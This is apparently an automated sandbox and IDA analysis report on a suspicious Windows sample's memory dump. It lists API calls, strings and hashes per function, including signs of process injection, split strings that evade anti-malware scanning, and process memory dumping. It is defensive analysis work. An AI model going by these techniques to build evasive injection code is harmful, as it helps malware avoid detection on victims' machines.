Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Library$AddressFreeHandleLoadMemoryModuleProcVirtualWrite
String ID:
API String ID: 1543721669-0
Opcode ID: c5b84804f1aeb5112d0a6c5acf7bac17e6e35f6b5b96f385b44d221215444829
Instruction ID: f93059d52876ddacf5df35d78a5654b0bab0a6e79360e711164026d84a0e2ac8
Opcode Fuzzy Hash: c5b84804f1aeb5112d0a6c5acf7bac17e6e35f6b5b96f385b44d221215444829
Instruction Fuzzy Hash: D711847CA50325ABE701FBBCCC06A5E77E9EF49701F9008687E04EB3A5DA749A104B56

Function 0285E2E4 Relevance: 4.5, APIs: 3, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantClear.OLEAUT32(?), ref: 0285E2F3

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 30c2d4778b762ec8f64b4bdd2c2f615eb8db5d2f087580b0c957f340fd137f67
Instruction ID: 0b345b809548e3375ff83ce499fafea07ca0b2da1de66aeee8ea31fcf38a5def
Opcode Fuzzy Hash: 30c2d4778b762ec8f64b4bdd2c2f615eb8db5d2f087580b0c957f340fd137f67
Instruction Fuzzy Hash: AAF0C22C708238C6DB247B3C8D845E9239B5F0570678C1477AC0ADB209CB349E45CB63

Function 0286705C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32(?), ref: 0286735A

Strings

H, xrefs: 02867111

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: b7521b5fdd1b582dd50d48be102d40f7fd1ed5a724d588f96d50280bab60e42d
Instruction ID: e50b06e99dbdfa1f56c79fff6a8d822361171dc8d17262981c0aafde138ee485
Opcode Fuzzy Hash: b7521b5fdd1b582dd50d48be102d40f7fd1ed5a724d588f96d50280bab60e42d
Instruction Fuzzy Hash: D7B1C078A016089FDB14CF99D584AADFBF2FF49318F248169E909EB364D731A845CF90

Function 0285E37C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 0285E3BC

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 82681a7561d7c7491ef76e2254bf351cc4e2d8f1087cfc9c35be627f38c3bd90
Instruction ID: a91a91bca7df3985876302404c95dee998188b83df7d8db6d0b853beb50d9a94
Opcode Fuzzy Hash: 82681a7561d7c7491ef76e2254bf351cc4e2d8f1087cfc9c35be627f38c3bd90
Instruction Fuzzy Hash: EC315E7EA00628ABDB11DFACCC84AEA77A8FB0C304F484565ED09D3650D334DB95CB62

Function 02866CEC Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,02866D39,?,?,?,00000000), ref: 02866D19

Part of subcall function 02854C0C: SysFreeString.OLEAUT32(0286ED84), ref: 02854C1A

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 27bc27a76955573f9ac575370de4410d228ab56be9355bc985490e175fc9cc75
Instruction ID: 0794bba74b5ecfff8ccdc30acffe5070507771460cdee9bfbccd3ca94d3ec2c1
Opcode Fuzzy Hash: 27bc27a76955573f9ac575370de4410d228ab56be9355bc985490e175fc9cc75
Instruction Fuzzy Hash: DBE0653D604768BFF711EFA9CC5196A77FEDB89B50B510471AC04D7600EB797D008861

Function 02855814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(02850000,?,00000105), ref: 02855832

Part of subcall function 02855A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02850000,0287E790), ref: 02855A94
Part of subcall function 02855A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02850000,0287E790), ref: 02855AB2
Part of subcall function 02855A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02850000,0287E790), ref: 02855AD0
Part of subcall function 02855A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02855AEE
Part of subcall function 02855A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02855B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02855B37
Part of subcall function 02855A78: RegQueryValueExA.ADVAPI32(?,02855CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02855B7D,?,80000001), ref: 02855B55
Part of subcall function 02855A78: RegCloseKey.ADVAPI32(?,02855B84,00000000,?,?,00000000,02855B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02855B77

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction ID: 28d8e0ebe8f6f851b5751d84a2a56571850d60241c3004e4a0e74c6a605a6aba
Opcode Fuzzy Hash: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction Fuzzy Hash: 02E06D79A002248BCB10DE5CC8C0B4737D8AB08754F4005A5EC58DF34AD374D9248BD1

Function 02857E10 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0286FD00,ScanString,028B237C,0287B40C,OpenSession,028B237C,0287B40C,ScanString,028B237C,0287B40C,UacScan,028B237C,0287B40C,UacInitialize), ref: 02857E1B

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 81e72d02e34d49699fbcea4f3e8a1facf21165fd85f6b10d0c15ae5a9543b4f5
Instruction ID: 3a45fa8f6f35a1062a3780829b397543e8328d05cfcf6f6cf46008abf7486ce2
Opcode Fuzzy Hash: 81e72d02e34d49699fbcea4f3e8a1facf21165fd85f6b10d0c15ae5a9543b4f5
Instruction Fuzzy Hash: F5C08CEC2123320A1E90A5FC0CC802A828819041393E46F21EE3CDA2E2E32188A32421

Function 02854C48 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(0286ED84), ref: 02854C1A
SysReAllocStringLen.OLEAUT32(0287C2B4,0286ED84,000000B4), ref: 02854C62

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
Instruction ID: 6ddb9f235f671009c29c6d4094fe09d2f8d9b72b87987097029c2dc1bc9b899f
Opcode Fuzzy Hash: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
Instruction Fuzzy Hash: 35D0127C5001215DBB2C9D994544A3A62BA99D030A389C2999C0ECA245EB719C80CA32

Function 0287BF84 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,0287BF78,00000000,00000001), ref: 0287BF94

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: a7d3e7065645cca1ef4efcfdc7932e4edcb2ffed832baca75d394a8b51fad2b7
Instruction ID: ffc6ea762edb79190c051cebfc684967a35a0b7a1fb13127aec835818e8b76af
Opcode Fuzzy Hash: a7d3e7065645cca1ef4efcfdc7932e4edcb2ffed832baca75d394a8b51fad2b7
Instruction Fuzzy Hash: 35C048E87883407AFE1096AD1CC2F37118EDB14B01F640492BA00EA2C1D1E298504A60

Function 028515CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02851A03), ref: 028515E2

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1c75a25bb96f1c22ac95fbd2a41ca6249efbf8cbe84423b8566bc1d14daf6d87
Instruction ID: 42efa88d2618d1d59f6a7f1f1b1c6caffcd1e36f1a5b7250754add7803706306
Opcode Fuzzy Hash: 1c75a25bb96f1c22ac95fbd2a41ca6249efbf8cbe84423b8566bc1d14daf6d87
Instruction Fuzzy Hash: D0F067F8B413404FEB05CF7999843127BD2EB89348F208579EB09DB7D8EB7684028B00

Function 02851682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004), ref: 028516A4

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a2bea4e11f4371e1cc2357b9199378a3b7c5dfd846d836a8dc832cb0e6348e37
Instruction ID: 7b42dc0a9ac649fbbb8211224891f1b8b7289670d797c39576d89d73a67ba02a
Opcode Fuzzy Hash: a2bea4e11f4371e1cc2357b9199378a3b7c5dfd846d836a8dc832cb0e6348e37
Instruction Fuzzy Hash: B3F0F0BEB00AA56BD3118E4A9CD8782BBE0FB00310F000139EA0CDB384D7B0A8108B98

Function 028516E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,02851FE4), ref: 02851704

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: b65a62ce8cf10d0bee5843db2601091b46cf43504eeebe094c7848a37b0339ae
Instruction ID: aeffd7898bcb161dce4315fe808f77111fa5f9b31c613dd08db7d8c3489be171
Opcode Fuzzy Hash: b65a62ce8cf10d0bee5843db2601091b46cf43504eeebe094c7848a37b0339ae
Instruction Fuzzy Hash: 4EE0867D3403216FD7105A7D5D88712ABD8EB44654F244475F90DDB285D7A0E8108B64

Non-executed Functions

Function 0286A954 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,0286ABDB,?,?,0286AC6D,00000000,0286AD49), ref: 0286A968
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0286A980
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 0286A992
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 0286A9A4
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 0286A9B6
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 0286A9C8
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 0286A9DA
GetProcAddress.KERNEL32(00000000,Process32First), ref: 0286A9EC
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0286A9FE
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 0286AA10
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 0286AA22
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 0286AA34
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 0286AA46
GetProcAddress.KERNEL32(00000000,Module32First), ref: 0286AA58
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0286AA6A
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 0286AA7C
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 0286AA8E

Strings

CreateToolhelp32Snapshot, xrefs: 0286A978
Heap32ListFirst, xrefs: 0286A98A
Process32NextW, xrefs: 0286AA1A
Module32Next, xrefs: 0286AA62
Module32NextW, xrefs: 0286AA86
Toolhelp32ReadProcessMemory, xrefs: 0286A9D2
Heap32ListNext, xrefs: 0286A99C
Process32Next, xrefs: 0286A9F6
Thread32Next, xrefs: 0286AA3E
Heap32First, xrefs: 0286A9AE
Heap32Next, xrefs: 0286A9C0
Module32First, xrefs: 0286AA50
Thread32First, xrefs: 0286AA2C
Process32FirstW, xrefs: 0286AA08
Module32FirstW, xrefs: 0286AA74
Process32First, xrefs: 0286A9E4
kernel32.dll, xrefs: 0286A963

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: bf7256b9bdcb1c0e0094e90850c9b2d39abea818be30077d7e1cee1dae7f9211
Instruction ID: cd81cb43b27d2f97d1da9a350a1536b97d53bfb100a10d6b403dc0726880fc79
Opcode Fuzzy Hash: bf7256b9bdcb1c0e0094e90850c9b2d39abea818be30077d7e1cee1dae7f9211
Instruction Fuzzy Hash: 8331AEBCA807319FEB45EFB8D9E9A3637E9EF057027400969A801DF249E77894108F52

Function 02868BA8 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654threadnativeinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 0286881C: LoadLibraryA.KERNEL32(00000000,00000000,02868903), ref: 02868850
Part of subcall function 0286881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02868903), ref: 02868860
Part of subcall function 0286881C: GetProcAddress.KERNEL32(74B20000,00000000), ref: 02868879
Part of subcall function 0286881C: FreeLibrary.KERNEL32(74B20000,00000000,028B2388,Function_000065D8,00000004,028B2398,028B2388,000186A3,00000040,028B239C,74B20000,00000000,00000000,00000000,00000000,02868903), ref: 028688E3

GetThreadContext.KERNEL32(00000000,028B2420,ScanString,028B23A4,0286A774,UacInitialize,028B23A4,0286A774,ScanBuffer,028B23A4,0286A774,ScanBuffer,028B23A4,0286A774,UacInitialize,028B23A4), ref: 0286943A

Part of subcall function 02867CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02867D6C

SetThreadContext.KERNEL32(00000000,028B2420,ScanBuffer,028B23A4,0286A774,ScanString,028B23A4,0286A774,Initialize,028B23A4,0286A774,00000000,-00000008,028B24F8,00000004,028B24FC), ref: 0286A14F
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,028B2420,ScanBuffer,028B23A4,0286A774,ScanString,028B23A4,0286A774,Initialize,028B23A4,0286A774,00000000,-00000008,028B24F8), ref: 0286A15C

Part of subcall function 02868798: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,028B23A4,0286A3BF,ScanString,028B23A4,0286A774,ScanBuffer,028B23A4,0286A774,Initialize,028B23A4,0286A774,UacScan), ref: 028687AC
Part of subcall function 02868798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028687C6
Part of subcall function 02868798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,028B23A4,0286A3BF,ScanString,028B23A4,0286A774,ScanBuffer,028B23A4,0286A774,Initialize), ref: 02868802

Strings

ScanBuffer, xrefs: 02868D04, 02868D8C, 02869127, 0286923C, 028692D9, 02869612, 02869799, 0286992C, 02869B11, 02869C26, 02869DE4, 02869F54, 0286A0C7, 0286A2BB, 0286A4D9, 0286A61F
I_QueryTagInformation, xrefs: 0286A538
UacScan, xrefs: 02868CAB, 02868EC3, 028694BF, 028698BB, 02869A2F, 0286A1D9, 0286A671
sppc, xrefs: 028691AE
ntdll, xrefs: 0286A45D, 0286A471, 0286A529, 0286A6CC, 0286A6E0
MiniDumpReadDumpStream, xrefs: 0286A560
BCryptQueryProviderRegistration, xrefs: 0286A3BF
OpenSession, xrefs: 02868BE1, 02869004, 028690B6, 0286A487, 0286A5CD
advapi32, xrefs: 0286A53D
BCryptVerifySignature, xrefs: 0286A3AB
SLGetLicenseInformation, xrefs: 02869197
NtReadVirtualMemory, xrefs: 0286A458
NtOpenProcess, xrefs: 0286A6DB
bcrypt, xrefs: 0286A3B0, 0286A3C4, 0286A3D8
Initialize, xrefs: 02868F22, 02869530, 028696B7, 02869AA0, 02869D02, 02869E72, 02869FE5, 0286A24A, 0286A57B
NtOpenObjectAuditAlarm, xrefs: 0286A46C, 0286A524
BCryptRegisterProvider, xrefs: 0286A3D3
MiniDumpWriteDump, xrefs: 0286A54C
dbgcore, xrefs: 0286A551, 0286A565
NtSetSecurityObject, xrefs: 0286A6C7
ScanString, xrefs: 02868C3A, 02868DE5, 02868F93, 028693BB, 028695A1, 02869728, 02869BB5, 02869D73, 02869EE3, 0286A056, 0286A341, 0286A3EE
UacInitialize, xrefs: 02868E6A, 028691CB, 0286934A, 0286944E, 0286984A, 028699BE, 0286A168

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Library$Thread$AddressContextFreeLoadProc$HandleMemoryModuleResumeVirtualWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 4175202198-51457883
Opcode ID: 249e2c1a48884cd029a8496ee401e29377e5f94459d3028f51fd6849ca87f5e2
Instruction ID: 6ec2b717a5f4fb2e221b5a45932ddf66cec7468eb8eadb79ab8da824a475a7e7
Opcode Fuzzy Hash: 249e2c1a48884cd029a8496ee401e29377e5f94459d3028f51fd6849ca87f5e2
Instruction Fuzzy Hash: 6BE23E3CA501298FDB15EF68CC94BEE73FABF84300F1041A1A949EB215DA74DE859F52

Function 02868BA6 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0286881C: LoadLibraryA.KERNEL32(00000000,00000000,02868903), ref: 02868850
Part of subcall function 0286881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02868903), ref: 02868860
Part of subcall function 0286881C: GetProcAddress.KERNEL32(74B20000,00000000), ref: 02868879
Part of subcall function 0286881C: FreeLibrary.KERNEL32(74B20000,00000000,028B2388,Function_000065D8,00000004,028B2398,028B2388,000186A3,00000040,028B239C,74B20000,00000000,00000000,00000000,00000000,02868903), ref: 028688E3

GetThreadContext.KERNEL32(00000000,028B2420,ScanString,028B23A4,0286A774,UacInitialize,028B23A4,0286A774,ScanBuffer,028B23A4,0286A774,ScanBuffer,028B23A4,0286A774,UacInitialize,028B23A4), ref: 0286943A

Strings

ScanBuffer, xrefs: 02868D04, 02868D8C, 02869127, 0286923C, 028692D9, 02869612, 02869799, 0286992C, 02869B11, 02869C26, 02869DE4, 02869F54, 0286A0C7, 0286A2BB, 0286A4D9, 0286A61F
I_QueryTagInformation, xrefs: 0286A538
UacScan, xrefs: 02868CAB, 02868EC3, 028694BF, 028698BB, 02869A2F, 0286A1D9, 0286A671
sppc, xrefs: 028691AE
ntdll, xrefs: 0286A45D, 0286A471, 0286A529, 0286A6CC, 0286A6E0
MiniDumpReadDumpStream, xrefs: 0286A560
BCryptQueryProviderRegistration, xrefs: 0286A3BF
OpenSession, xrefs: 02868BE1, 02869004, 028690B6, 0286A487, 0286A5CD
advapi32, xrefs: 0286A53D
BCryptVerifySignature, xrefs: 0286A3AB
SLGetLicenseInformation, xrefs: 02869197
